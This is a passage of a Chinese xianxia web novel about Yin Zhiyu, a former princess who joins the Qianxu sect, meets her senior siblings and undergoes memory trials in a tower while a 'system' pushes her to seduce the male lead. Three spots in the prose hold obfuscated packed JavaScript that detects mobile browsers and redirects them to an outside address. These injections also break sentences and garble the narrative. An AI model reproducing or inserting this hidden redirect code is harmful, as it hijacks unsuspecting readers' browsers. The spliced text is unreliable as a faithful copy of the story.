“就这两日,”傅凛安抚道,“师尊的事情解决得差不多了,马上就会回宗。” 考虑到小师妹刚到乾虚派,可以需要一段时间适应,傅凛没留多久,体贴地提出告辞,将剩下的空间都留给了殷稚鱼。 殷稚鱼摸了摸下巴,有些好奇,到底发生了什么事,才让清玄道人抛下了自己刚收的小弟子,一个人离开。 不过她拜入清玄道人门下也没几天,殷稚鱼估摸着若是她问的话便宜师尊也不会告诉自己,只能暂且按捺下心思。 她从芥子袋里取出摆设,一件件放好,被褥,床帐,梳妆台……原本冷冷清清的房屋逐渐多了生活气息,里面大部分东西都是福泉宫的,怕她不会弄,卫王还特意留下了书册告诉她要怎么布置,殷稚鱼跪坐在床榻上,生涩地挂上银钩,柔软的纱幔垂落,擦过她的鼻尖,带着她闻惯的清甜鹅梨香。 仿佛还是曾经养尊处优的少女公主,坐在福泉宫中,她什么都不用管,什么都不用承受,卫王会为她做好一切。 殷稚鱼轻微地叹了一口气。 房间布置好,她整个人也累坏了,半死不活地躺在床榻上,侧脸埋进软乎乎的被子里,连一根手指都不愿意动弹。 咚咚咚—— 房门忽然被敲响,殷稚鱼勉强支起身体,打了个哈欠。 碎金般深浓沉黯的暮色自半开的窗牖漫入,隐隐绰绰,落在屏风上,铺开半扇浓郁黏稠如蜜糖般的色调。 这么晚了,会是谁? 殷稚鱼慢吞吞地去开门,站在门口的并非她猜测的辰瑄或者傅凛,而是一个长相明艳的少女,对方穿着淡紫色的裙衫,乌眸雪肤,勾着嫣红的唇微微笑起来的时候,仿若迤逦春光一霎那开尽,明晃晃的美貌。 “你就是师尊新收的小师妹吗?”少女向她弯了弯唇,一点都不见外,自来熟地介绍,“我是姜雲,按照辈分算的话,应该是你的四师姐。” 11. 师姐 “小师姐。”殷稚鱼将来人与身份相对应,原本只有单薄三个字撑着的四师姐化为活生生的真人形象。 姜雲高高兴兴地应下,清玄道人收的弟子不多,只有四个,而她向来是其中最小的一个,傅凛和孟轻音秉着两人年岁更大的原则,对两位师弟师妹向来都是让着的,她还是第一次做师姐,既新奇,又油然而生出一股责任感。 姜雲解释,“是大师兄告诉我师尊收了个新弟子。”她咳嗽了一声,本来傅凛想着殷稚鱼这会应该在休息,所以让她明天再去找人,但是姜雲对殷稚鱼好奇得紧,所以没等到第二天就来敲门了。 殷稚鱼和她想象的不同,她本以为清玄道人新收的弟子稳重自持,但是面前的少女清妍秀美,裙衫斑斓霏丽,微微下弯的笑眼更添三分活泼软乎。 “小师妹以后如果有什么问题不方便找大师兄的话,可以来找我。”姜雲拍着胸脯,信誓旦旦地打了包票。 殷稚鱼想起秋水,之前光顾着关心她的新洞府,都没来得及解决秋水剑的问题,她手腕一晃,握着秋水剑的剑柄,将纤韧秀气的秋水剑平放在姜雲的面前,如实说,“这是师尊赠予我的秋水剑,不过出了点小问题,之前我询问过辰瑄师叔,他说有师姐能够帮我修复秋水剑,小师姐知道那位师姐在哪吗?” 姜雲恍然,“辰瑄师叔,说的是二师姐吧。” 她笑了下,见殷稚鱼满脸都写着期待,告诉她实情,“这个时间,二师姐还在炼器房里,她是炼器师,修复秋水剑对她而言并不难。” “过几天等她出关了我带你去寻她。” 殷稚鱼笑吟吟地道谢,“多谢小师姐。” 姜雲抿唇,忍不住笑,“不是什么大事,何须言谢。” “不过,”她细细打量着秋水,指尖虚虚抚过秋水剑的剑面,清玄道人赠送给她的剑当然很不错,只是姜雲眼光高,殷稚鱼性情又对她胃口,“师妹如果不介意的话,我能赠你一把新剑,品阶比秋水剑更高。” 殷稚鱼被她轻描淡写的口吻震住,姜雲这风轻云淡的模样一听就是土豪,豪掷千金的那一款,她摇了摇头,爱惜地将秋水剑收起,“不劳师姐破费了,太高的灵剑我无法驾驭,秋水剑就很合适。” “那好,”姜雲也不强求,她从芥子袋里取出一只红木礼盒,不知道里面装了什么,但光看盒子就知道价值不菲,她将礼盒递给殷稚鱼,“这个该收下了,这是师姐送给师妹的入门礼,总不该再推辞了吧。” 殷稚鱼也不是扭捏的性格,大方收下,“多谢小师姐。” 姜雲摆了摆手,“你好好休息,师姐就不打扰你了。” 回到房间以后,殷稚鱼打开礼盒。 里面装着一条胭脂红的罗裙,裙裳华美,滚着细金边,里面还放着一张纸条,殷稚鱼拆开,发现这是对这件裙衫的介绍,姜雲送给殷稚鱼的是一件价值不菲的法衣,不仅沾尘不脏,能够自动清洁,而且还具有一定的防御功效,很适合现在的她。 她出手可以说是很大方了。 殷稚鱼将法衣展开,欣赏之后,微微叹了口气。 系统刚好在,有些好奇宿主为什么叹气,不解地问,“宿主不喜欢这件法衣吗?” “不是,”殷稚鱼将法衣暂时收起,伸了个懒腰,“只是想到我以前也是这么一掷千金挥霍无度的,有些怀念的。” “……” 现在的殷稚鱼已经不是以前的殷稚鱼了。 现在的她,是口袋里没有一颗灵石,一贫如洗,考虑着要去哪里劫富济贫的殷稚鱼。 系统:“……” 它拒绝和殷稚鱼说话。 ** 殷稚鱼一直想要见的孟轻音师姐直到清玄道人回宗才露面,接到清玄道人回宗的消息,姜雲早早地就来到殷稚鱼的院子里找人,和她一起去清玄道人的洞府等待师尊回宗。 傅凛先她们一步赶到,青年的身旁还有个男人,鉴于青年与少年之间的模样,睡凤眼,慵懒又艳美的长相,有种花泻水珠的风流,看到挽手而至的两个姑娘时愣了愣,“这位是?” 姜雲白了他一眼,哼了声,“路砚程,叫你少睡一会吧,把脑子都睡糊涂了。” 她没好气地介绍,“这是师尊新收的小师妹,大师兄不是告诉过你吗?” 路砚程讪讪地挠了挠下巴,“我这不是忘了嘛。” 他清了清嗓子,袖角一抖,取出一枚白瓷瓶,递给殷稚鱼,“小师妹,这是三师兄送给你的入门礼。” 姜雲在旁边帮腔,“小师妹收下吧,路砚程虽然打架不太行,但是炼丹还算不错。” 殷稚鱼没有拒绝,抿唇笑笑,“多谢三师兄。” 新来的小师妹亲和又落落大方,和姜雲相处久了,路砚程本以为九州五岛的师妹都是姜雲那个性子,天天和他对着干,现在来了个乖巧的,虽然他不知道殷稚鱼是个黑芝麻汤圆,内里一肚子黑水,但乍一看还挺能唬人的,顿时有些欣慰,“如果小师妹对炼丹感兴趣的话,可以来寻我。” 殷稚鱼:“好啊,到时就要麻烦师兄了。” 她一口一个师兄,嗓音软,嘴甜模样又乖,路砚程被她哄着,又想从芥子袋里摸几瓶丹药出来。 不过秉着不能一次性薅完羊毛的可持续发展策略,殷稚鱼还是遗憾拒绝了路砚程的好意。 孟轻音是掐着点出现的,女子没有御剑,而是坐着一个软榻般的法器,懒洋洋地降落在玄枵峰峰顶之上。 “二师姐。”姜雲挥手,热情地和孟轻音打招呼。 孟轻音眼皮微掀,修道者不管怎么样,精力都是很充沛的,殷稚鱼还是第一次见到这样散漫的,仿佛浑身上下都写着别和她搭话,累的人,忍不住多看了几眼。 孟轻音比路砚程要敏锐,打了个哈欠,慢条斯理地看向殷稚鱼,她容貌秀丽,只是衣服不如姜雲讲究华丽,窄袖收紧,自然成一股懒散从容的气派。 “这就是师尊新收的小师妹吧,”女子嗓音微哑,有点像是烟嗓,孟轻音收起那个造型奇奇怪怪的法器,笑了下,殷稚鱼这才发现她右脸上生了一枚酒窝,一笑就浅而软地凹下去,流露出些许甜美柔软之意,然而她脸上笑容并不多,大部分时间都是漫不经心的。 “我是清玄道人的二弟子,孟轻音,如果师妹的法器出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她看向姜雲,“还望师姐不嫌弃我愚笨就行。” 清玄道人挥了挥手,“你们都回去修行吧,稚鱼留下。” 宫殿很快就剩下清玄道人和殷稚鱼两人。 殷稚鱼大概猜到清玄道人要和她说什么,正襟危坐,等着清玄道人开口。 “稚鱼,”清玄道人问,“灵蛇剑法练得如何了?” 殷稚鱼谦虚交代,“有小师叔指教,灵蛇剑法我已经全部掌握了。” 她本以为清玄道人接下来要夸她,但是对方话题一转,“这些天,我麻烦掌门师兄查询过关于婆诃般若的资料。” 殷稚鱼一振。 清玄道人:“婆诃般若是传说中的神物,其中神妙诸多,自是难以言说,但是若不能掌控它的话,只能反过来被吞噬。” 他言语沉重了几分,“古籍里记载,婆诃般若共有十六瓣花,它现在,已经开了几瓣?” 殷稚鱼沉默了一瞬,主动从怀里取出清玄道人赠予她的,用来隐藏婆诃般若存在的符箓。 清玄道人的视线落在她的额间。 少女白皙的额头上,没有了符箓的遮蔽,朱红的花瓣显露出来,已经盛开了第二瓣,甚至还隐隐显现出了淡金花萼的轮廓,纤细如金丝。 12. 问心 第二瓣婆诃般若的盛开,意味着婆诃般若与殷稚鱼的身体结合得越发密不可分,这是好事,也是坏事。 因为这代表她可以调用的灵气大幅度增加,但是,与此同时,这对她身体的负荷也就越重。 清玄道人手指拂过殷稚鱼的手腕,女孩腕骨轻抖,硬生生按捺下躲避的本能,她抿唇,一声不吭地等着清玄道人的诊断。 清玄道人见多识广,很快得出结论,他肃下脸,“不能继续等了,稚鱼,你需要将肉身淬炼至辟府期。” 引气辟府凝丹,是修行最基础的三个阶段,而殷稚鱼刚刚引气,而辟府对她而言不难,只是需要花费些许时间,可她现在最缺乏的,偏偏就是时间。 殷稚鱼下意识看向清玄道人,等着看自己这个便宜师尊能够提出什么剑意。 他广袖一抖,手掌上浮现出一座精美玲珑的宝塔法器,雕琢得分外逼真,仿佛一座高塔等比例缩小,敛着晦涩的光泽,一看就知道品阶不凡,是件难得的法器。 “这是问心塔,”清玄道人介绍,“是我的师尊所赠予的法宝,共有七层,正适合你现在入内修行。” 殷稚鱼睁大眼,满眼都写着好奇,“问心塔?” “是的,”清玄道人一甩手,宝塔落在宽阔的大殿中心,开始放大,他微微仰头,凝视着那座高塔,目光微微怀念,“问心塔是模仿着乾虚派的至宝炼心塔所打造的法器,虽然只是仿制品,却也是一件不可多得的法器,它的最顶层,珍藏着一缕云璃剑主留下的剑气,你若是能够走到第七层,有所感悟,那么必然能够修出属于自己的剑意。” 问心塔这样的至宝,如果不是清玄道人在乾虚派地位不低,加上他看重殷稚鱼,未必能够拿的出来,毕竟,能够和数千年前的那位剑主扯上关系的东西,无一都是宗门的镇宗之宝,云璃当年名动九州五府,一剑动山河的风姿无人能及,即便千年光阴悠悠而逝,但依旧有人记着她。 毕竟修道者的寿岁相当漫长,即便大道无情,每年都有同伴倒在半路上,但也不乏有登顶者。 这是个好机会,然而殷稚鱼微微迟疑,没有立刻答应。 清玄道人看出她的踟蹰,“稚鱼可是有什么顾虑?” 殷稚鱼如实道,“师尊赠予我的秋水剑之前在打斗中出现了破损,我本来想寻二师姐帮忙修复。” “这个简单,”清玄道人一听就应允了下来,他微微一笑,“你二师姐虽然惫懒,但对于新入门的师妹这么一个小小的要求,肯定不会拒绝的,稚鱼就放心交给为师就好了。” 既然他这么说了,那么殷稚鱼就放心将秋水交给了清玄道人。 问心塔共有七层,虽然比不上乾虚派里的炼心塔来规模庞大,但是占地面积同样不小,若要彻底放开,大殿肯定放不下。 清玄道人将问心塔放在殿后的院子里,同时设下禁制,看到殷稚鱼踏入大门才转身离开。 所谓的问心,就是梳理自己心防的漏洞,同时坚定自己问道的道心。 殷稚鱼刚刚入道,她的道心并不坚定,她甚至都没有求道的方向。 问心塔于她而言,当然是个好机会,问心塔封存着云璃剑主的一缕剑气,长年累月下来,整座塔都被那缕剑气所浸润,虽然微弱,但是至高大能留下的一缕剑气,再弱小也对她颇有进益。 少女步履轻盈,脸颊两侧黑发绑成细细的一绺,在浓密的发间用红绳系起来,露出白皙的耳垂,她今天穿着姜雲赠送的胭脂罗裙,裙裾柔软旋开,一扇扇的波光明艳,潋滟着初春的艳日,灼灼灿烂。 她已经踏入了第一层。 面前的场景变换。 四周黑暗了下去,又有光影绚烂浮现,如同吉光片羽,在她的瞳仁里一片片的碎掉。 殷稚鱼安静地看着。 哒哒哒—— 是高跟鞋摇曳生姿的声音,那是个女人,长的和殷稚鱼有七八分相似的女人,只是比起殷稚鱼的明媚,她的容貌更偏向于艳美,她衣着华艳,漫不经心地往前走,忽然一顿,垂眸往下看去,看见扯住她裙摆的小姑娘时,勾着唇笑了。 那笑容并不友善,甚至透出几分厌恶来。 她将裙摆从小姑娘的手中抽出,无视她茫然喊出的妈妈两个字,头也不回地离开。 小姑娘跌在地板上,走廊上铺了地毯,她其实没有摔疼,只是落寞迷惘地低下头,慢慢抱紧了那个紫色的星黛露玩偶,像是孤独的幼兽,既可怜,又脆弱。 她咬紧牙,眼泪大颗大颗地落下来。 没有人搭理她。 殷稚鱼叹了口气,她走上前,轻柔擦去小姑娘脸上的眼泪,依稀看得出相似的两张脸互相对视,如果不是问心塔提起,殷稚鱼甚至要忘了这段记忆。 这是她的上一辈子。 没有人爱她的上一世。 联姻诞下的孩子,因为生产时让母亲吃足了苦头,所以母亲并不喜爱她,甚至厌恶她,而父亲另有所爱,同样不喜欢这个女儿。 “别哭了,没关系的,长大以后,你自己会爱自己。” 殷稚鱼戳了戳她的软腮,小家伙婴儿肥未褪,看起来白白嫩嫩的,像只塞满奶油的雪媚娘,甜软又乖巧,可爱得紧,她看着都想捏一捏。 小家伙安静抬起头,星黛露玩偶的眼睛和那双乌亮的眼睛一起,缄默望着她。 殷稚鱼手上一空,她站起身,慢条斯理地拍了拍手。 哭泣的小姑娘,和那只星黛露一起消失了。 第一层问心塔过了。 微弱的剑气游走在她的周身,悄无声息地潜入她的经脉之中,它挤压着她的血肉,柔嫩的肌肤沁出淡淡的血丝,又在婆诃般若强大的恢复能力下愈合,而后变得更加强韧。 殷稚鱼甩了甩手,觉得这一次问心塔进的不亏。 而玄枵峰上,清玄道人像是感觉到了什么,抬眸往上看,虽然视野被繁复葱绿的草木所遮掩,但是以他的修为,依旧能看到高耸肃穆的宫殿,以及伫立于后的古朴高塔。 第一层塔尖上挂着的铜铃,急促又无声地摇晃起来。 他忍不住笑,“稚鱼的天赋不错,心性也可以,这么快就过了第一层。” “毕竟,”孟轻音在一旁懒洋洋地接话,“她可是师尊你收的弟子。” “不过师尊,”孟轻音捧着脸,虽然她十分相信自己师尊的判断,但将一个入门还没几天的弟子扔去问心塔这种地方,清玄道人真的靠谱吗,“就连大师兄,也是在入门第三年才抵达问心塔第七层,你觉得稚鱼师妹现在进去行吗?” 她问得十分含蓄,本来是想问清玄道人是不是脑子抽了,非要殷稚鱼现在挑战高难度。 清玄道人沉默了一会,叹息,“稚鱼和傅凛不同,这次,本也不指望她走到第七层。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235493|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟轻音知晓师尊这次行事必然是慎重考虑过了,当即将这件事抛之脑后,她伸指,弹了下秋水剑的剑面,熠熠水蓝的秋水剑,剑身仿佛流淌着清澈的水色,那些细碎的裂痕并不明显,她凑近了一点,上上下下,仔仔细细地打量了一遍。 “那个,轻音,”清玄道人咳了声,“秋水剑的修复,没问题吧。” “这点小破损,师尊莫要小看我,”孟轻音轻描淡写,她将秋水剑收起,“师尊这次是为何在外逗留了这么久,还是……” 清玄道人挥了挥手,示意她噤声。 孟轻音蹙眉,还是没有继续说下去。 ——第二层了。 殷稚鱼感觉得到,这一层的剑气,要比第一层更加鲜明,也更加强烈,当然,对她的磨砺效果也更好。 她的经脉被拓展得更加宽阔,灵气汹涌的流淌,洗涤着她的身体。 殷稚鱼晃了晃脑袋,去看眼前的场景。 不是上一辈子,是她作为卫国公主殷稚鱼的记忆。 这件法宝,能够探测到这么多记忆,某种程度上,也可以说十分厉害了。 殷稚鱼发现自己身高开始缩水,视野高度急速下降,晃得她有些头晕脑花,好不容易才定了下来。 “班班。”一截浅紫色的水袖从身后探出,抱住殷稚鱼,女子的嗓音轻柔婉转,殷稚鱼偏头,用脸颊贴了贴女子的侧脸。 她笑吟吟地问,“一个人在想什么呢?” 这是她这一世的母亲。 梅夫人。 殷稚鱼其实对梅夫人的印象不怎么多了,她过世的早,在殷稚鱼六岁的时候就去世了,然而纵使记忆零星细碎,但留下的大多数相处的回忆,都是温馨而又美好的。 “娘。”她稚声喊,得到梅夫人含笑的回应。 梅夫人与卫王青梅竹马两情相悦,她身体病弱,宫殿里终年弥漫着清苦的药香,卫王爱她,不纳二色,后宫仅两人以及梅夫人花费极大的精力才诞下的双子。 外界对于梅夫人有失偏颇,看她一直喝药,就总觉得她是个温婉细腻的女子,但实际上,殷稚鱼对于梅夫人的印象更偏向活泼开朗,她会在后宫亲手和双子种下一院的紫藤,会给卫王做吃食,虽然十有八九她做的东西都不能入口,卫王哭笑不得,但还是只能将夫人做的东西全数吃下去。 她眨了眨眼,嗓音很轻,“我该走了。” 梅夫人捂住她的眼睛,并不意外,只是温和地问,“班班为什么不愿意多陪娘亲一会?” “这不是我应该留下的地方。” 殷稚鱼垂眸,指尖搭在梅夫人的手掌上,却没有去掰。 “真冷酷啊。” 梅夫人尾音透出一点轻飘飘的笑意,从身后抱住她的女子,捂住她眼睛的手掌都瞬间虚化消失,像是沙塔倾倒的刹那,流金定格住光辉华美的光阴。 殷稚鱼这具稚嫩的小身体长大了些许,她周遭场景再次变换,她看了看,是梅夫人的寝宫。 轰隆—— 雷声轰然泻落,滂沱大雨急切地降落,将这间宫殿与外界割裂开来,自成一方孤独的小世界。 殷稚鱼大概知晓这是什么时候了。 她偏头,看到身边依偎着的,和她长的一模一样的小女孩。 殷稚鱼咽下想要说的话。 是梅夫人过世的那个夜晚。 13. 幻境 卫王握着妻子的手,看着床榻上病骨支离的梅夫人,在处理政务和平衡朝局上轻车熟路的男人,像是有山岳压在他的肩膀上,他艰难倾吐着字句,“你放心,我一定会照顾好她们的。” “那就好,”梅夫人勉强微笑,她向殷稚鱼招手,厚厚的床褥里伸出一支苍白削瘦的手,昔日冠绝卫国的美貌如今已羸弱憔悴得不像话,她轻声,“班班,岁岁,过来。” 殷稚鱼起身,因为跪久了,小腿麻木,险些一个踉跄摔下去。 她身旁的小姑娘条件反射地扶住姐姐的手臂,沙哑低语,“姐姐。” 殷稚鱼嗯了声,去看床榻里那张脸。 梅夫人凝视着爱女的脸,目光珍视。 她吐字越发轻,“班班……” “我知道,”她站在床榻旁边,手掌覆盖在梅夫人的眼皮上,轻轻替她合上,“我知道我应该做什么。” “娘,你应该放心了。” 话音落下的瞬间,卫王,妹妹,以及梅夫人的身影消失得无影无踪。 缩水的身形暂时保持原样,殷稚鱼按了按太阳穴,感觉这玩意可能不叫问心塔,而应该叫扎心塔。 什么扎心它放什么,略缺德。 不过过第二层给她带来的好处很大,殷稚鱼能够感觉到经脉里涌动的灵气越发磅礴,它们被婆诃般若吸收,再吞吐出去,潜移默化地滋润着这具弱小的凡躯。 殷稚鱼估摸着自己唐僧肉的体质短时间内应该改不掉了。 真是让人头秃。 她偏了下头,已经到达第三层问心塔了。 这层的画面,她已经想到会出现什么了。 这次不是室内,也不是夜晚,碎金般的日光斑驳一地,殷稚鱼慢悠悠地上前,没有宫女,也没有卫王的打扰,她顺利地走到紫藤花架下,拿下躺椅上女孩脸上的那片叶子。 温暖的温度一点点漫过视野,亮亮的似潮海弥漫,紫藤花碎开千万片,花影婆娑,像是泼开一片瀑布。 和她生得一模一样的女孩子困倦地站起来,嗓音很软,带着些不解的茫然,“姐姐,干什么吵醒我?” “就是想叫你而已,”殷稚鱼自然地坐在躺椅上,就躺在殷稚竹的身边,乌黑的绒睫细细地颤,双子遗传了梅夫人与卫王的美貌,结合了他们两人的优点,那是分外精致美丽的一张脸,像是瓷娃娃,又像是水晶雕琢而成的精美摆件,有种脆弱的易碎感。 她唇齿咀嚼着这两个字,“岁岁。” 卫国的百姓大多数只知晓卫王膝下有一爱女,封号玉华,千娇百宠,再是娇纵不过了。 他们不知道。 已经没什么人记得了。 殷稚鱼降生时,是和她的半身,她的双生妹妹殷稚竹一起降落在这个世界的。 “姐姐,”殷稚鱼听见妹妹问她,“你是不是有点不开心?” 殷稚鱼坐起来,去看旁边躺着的妹妹,她好奇地看着她,勾住她的腕骨,如同照镜子,即便是世界上存在着另一个殷稚鱼,也不会那么相似。 是一蒂双生的花。 是我,也不是我。 “有一点。”她抱膝,下巴抵着手臂,弯唇笑了笑,露出一点雪白的,尖尖的虎牙。 “我很想你,岁岁。” 面前的画面如同镜面般寸寸碎裂,又像是掌心的流沙漏尽,一切的记忆都如镜花水月般破碎。 殷稚鱼没有动,任由身旁的殷稚竹消失。 她眼前一黑,看不清眼前的画面,只能感觉到有柔软的肌肤蹭过她冰凉的肌肤,对方低低地喊她的名字,轻软的,眷恋的,咽下那一点泪意,然后了无痕迹。 殷稚鱼身体沉重得要命,骨血都在发冷,倏然又暖和了起来,她豁然睁开眼,衣裳湿淋淋的,只剩下她一个人。 她摸了摸手臂,受了很重的伤,可万幸的是,还活着。 这是殷稚竹出事的时候,她们遇上了追杀,马车失控,为了活命,只能从马车上跳下来,可惜两人运气不太好,跳的地方看似是草堆,实则是一处落崖,殷稚鱼还好,殷稚竹则没有她那样的运气,被溪流冲走,下落不明。 也就是之后,卫王受到了惊吓,怕殷稚鱼再出事,所以不准她独自出宫,将她看得极紧。 殷稚鱼知道现在的殷稚竹可能还没死,在溪流的某处。 可是她顿了顿,没有回头,往前走。 这里不是现实,只是她的回忆而已。 即便她找到了殷稚竹,对方也不能活过来。 她迈步的瞬间,周遭的景物再次消失,殷稚鱼身形恢复正常,吸饱了水沉甸甸的衣裳也重新变得干燥,变回了她最开始的那一件胭脂罗裙。 殷稚鱼很喜欢它,姜雲出手大方,送的衣服很方便,不仅好看,而且不用清洁,她一直穿都不会脏。 她周遭的剑气凌乱又齐整,重复着凝聚又消散的过程,只差一步就能形成独属于自己的剑意,可最后,还是戛然而止,那些剑气悄然散去。 体内的婆诃般若簌簌晃动着花叶,灵气被尽数吞入其中,殷稚鱼站在原地,闭上眼睛,片刻后才睁开。 她翘起唇,愉悦道,“我辟府期了。” “恭喜宿主。”经常掉线的系统出来刷了一波存在感。 殷稚鱼脚步轻快,虽然有点遗憾她没能一次性悟出属于自己的剑意,但现在时间还长,她可以慢慢来。 殷稚鱼是凡人,没有灵根,所以即便辟府期,但体内还是没有开辟出丹府来,只是说他现在能够调用辟府期的灵气,肉身的强度也已抵达了辟府期而已。 这坑爹的设定。 殷稚鱼再次感慨了一下自己的命苦,同时也有点好奇起第四层来。 前三层都不难,只是她的执念而已,殷稚鱼早已看开,这些东西对她的影响不大。 场景变化,殷稚鱼一动不动,开始好奇问心塔会造出一个什么样的幻境来。 雪白的一角衣衫出现在她的视野里。 殷稚鱼抹了把脸,神色麻木,无声地崩溃中。 为什么,这里会出现辰瑄啊。 她对男主能有什么执念? 墨发雪衫的少年缓步向她走来,他容色极美,即便傅凛也是相貌不凡的青年,师尊清玄道人更是英姿勃发,很有仙气,不说话绝对可以唬人的那一种美人,但他们的容貌和辰瑄比起来都逊了一筹。 少年年纪轻,容貌还没有彻底长开,透出些许稚气,他睫根漆黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235494|166063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,浅琥珀色的眸子被日光曝成淡金,有种神性的温和与淡漠。 “殷师侄,”他站在殷稚鱼的面前,低下头,仿若晨曦微雪,潋滟又昳丽,嗓音也清澈干净,“你要怎么接近我呢?” 他言语很轻,那几个字仿佛在他喉咙里滚过一圈,又被轻而冷淡地吐出来,每一个字都咬得很慢,“引诱我,欺骗我,而后毁了我,是吗?” 浅琥珀色的瞳眸直勾勾地看着她。 殷稚鱼愣了下。 她没办法反驳。 好像确实是这样。 即便辰瑄什么都不知道,但是她的目的,好像就是要将他推下深渊。 他俯身,额头抵住她的额头,忽然的靠近,使得清淡的泽兰香越发明显,又混合着一股淡雅的,仿若莲香一般澈净柔和的气息,殷稚鱼被吓了一跳,下意识就要跳开,但辰瑄抿着唇,修长手掌按在她的后脑勺上,极为强硬的一个动作,不允许她有任何退缩。 那双浅色的眸子也淡淡望着她,不闪不避,像是黄昏时刻的湖面,被渲染出一种斑斓瑰丽的色调,辉煌而又神圣。 他倏然笑了。 深冬的降雪,初春的樱花,亦或者夏日粼粼的海浪波面。 所有的一切,都不能描述其美丽的一个微笑。 少年轻轻吐字,“好狠心啊。” 他贴着她的耳垂,垂下眸,一字一顿地说,“真恶毒啊。” 殷稚鱼认命地闭眼。 “这一关我过不了,”她离家出走的良心隐隐作痛,限时回归,“问心塔大哥,你能不能行行好把我扔出去?” 身前的少年顿了顿,然后随着周遭的景物一起消失。 殷稚鱼跌出了问心塔,往后两步才站稳。 她唉声叹气,望着面前高耸的宝塔,思索着再进去一趟的话,第四层会不会刷新成其他关卡。 “不错,”身后传来清玄道人欣慰的声音,殷稚鱼转身,看到她那个便宜师尊不知道什么时候出现在不远处,双手背在身后,很满意地点评,“第一次进问心塔就能走到第四层,要知道,就连傅凛第一次进去,都被卡在了第三层。” 清玄道人微有好奇,“你在里面,遇见了什么?” 殷稚鱼又想起面前与她额头相抵的辰瑄,她晃了晃脑袋,很希望这个画面能够和她脑子里的水一起晃出去,少女含糊说,“没什么,就过去的一些事情。” 殷稚鱼从小生活在卫国王宫,卫国是凡人国度,她又贵为公主,恐怕从小见过不少尔虞我诈,这些都是私事,清玄道人虽然是师尊,但也不打算事事都弄得明白,被敷衍也不生气,只拿出一把纤盈的长剑,“你的秋水,轻音已经修复好了。” “真的吗?”殷稚鱼惊喜,她接过秋水,细细地打量,见裂痕消失后顿时松了口气,女孩弯着眼,“谢谢师尊,也谢谢二师姐。” “轻音在开炉时又往里面加了不少珍惜材料,”清玄道人补充,“现在的秋水,即便你再往里面灌入那么多的灵气也不会再受损了,不过,你以后可要好好地爱护它。” “我知道了。”殷稚鱼郑重点头。 “好了,回去吧。”清玄道人挥了挥手,收起问心塔,示意殷稚鱼可以离开了。 14. 谢礼 “稚鱼,稚鱼。” 这是个暖和的晴日,殷稚鱼刚刚睡醒就听到窗外姜雲的声音,少女推开窗户,朝她招了招手。 “小师姐,有什么事吗?”殷稚鱼问。 她刚睡醒,黑发未挽,绸缎般弯弯绕绕地散了一身,落在肩膀上,臂弯中,以及腰间,微微晃荡,像是水底柔软生长的渊薮,发尾蓬松微翘,勾勒出秀美的线条。 “今天是大师兄去给外门弟子讲课的日子,”姜雲挑了挑眉,“要不要一起去看看?” 殷稚鱼不假思索地应允下来,“当然要去。” 这是殷稚鱼正式拜入乾虚派的第十日,大师兄傅凛主管一峰,日常事务繁忙,而二师姐是个宅女,沉迷炼器,鲜少出门,三师兄路砚程属于常年失踪人口,喜欢到处溜达,综合种种,她和三师姐姜雲的关系最为要好。 姜雲和殷稚鱼年纪相仿,性情相投,但她是货真价实的九州五岛大家族出身,含金量比殷稚鱼卫国公主的身份高,毕竟凡尘公主的身份虽然贵重,但在九州五岛却毫无影响,顶多起个让殷稚鱼怀念往昔的作用。 姜雲爱玩,这些天带着殷稚鱼熟悉了整个乾虚派,她人缘好,基本和哪个峰的弟子都相熟,连带着引见殷稚鱼也方便,在她的带领下,殷稚鱼已经摸清楚了乾虚派山下的哪家饭馆最好吃,顺带兑换了些许灵石。 现在的殷稚鱼,已经不是当初那个口袋空空身无分文的殷稚鱼了。 殷稚鱼支起脸颊,笑盈盈地侧了下脸,“等我收拾一下。” “去吧。”姜雲关上窗户,站在殷稚鱼的门口等候。 女孩换上那身胭脂罗裙,她挽发还是不熟练,只草草梳了个简单的,修道者可以用清洁术整理自己,比凡人要更加便捷,因此殷稚鱼洗漱的速度很快,转眼间就整理好了自己,眼见着少女要推门出去,一直在掉线装死的系统终于忍不住开口,“宿主,你还记得自己的任务是什么吗?” “记得啊,”殷稚鱼弯了下唇,“攻略辰瑄。” 系统发出灵魂质问,“你这十天一直在玩,连辰瑄一面都没有见过,拿什么攻略?” “唉,”殷稚鱼叹气,忧愁地说,“这不是第一次骗人感情,有点经验不足。” 她笑眯眯地补充,“等以后多熟悉一下就好了。” “……你要不要听听自己在说什么?” 说的好像它不是个正经统一样,这种体验难道还能来下一次,发展成职业诈骗? 殷稚鱼舒展了一下身体,她勾了勾脸颊旁的乌黑发丝,很认真地问,“主要是我就是奔着欺骗辰瑄感情去的,要是我以后陨落了他放不下怎么办?” 殷稚鱼:“毕竟套路都是这样,我也不是什么没心没肺的坏女人。” 系统沉默:“……” 它企图用眼神谴责殷稚鱼,可惜殷稚鱼看不见它,也接收不到系统的信号。 系统冷笑一声,机械音里的嫌弃都要流露出来了,“……宿主,你想的有些远,现在你连第一步都没做到。” 它的语气无波无澜,精准打击,分外诚恳地问,“请问男主现在对你动心了没?” 殷稚鱼:“……”真不会说话。 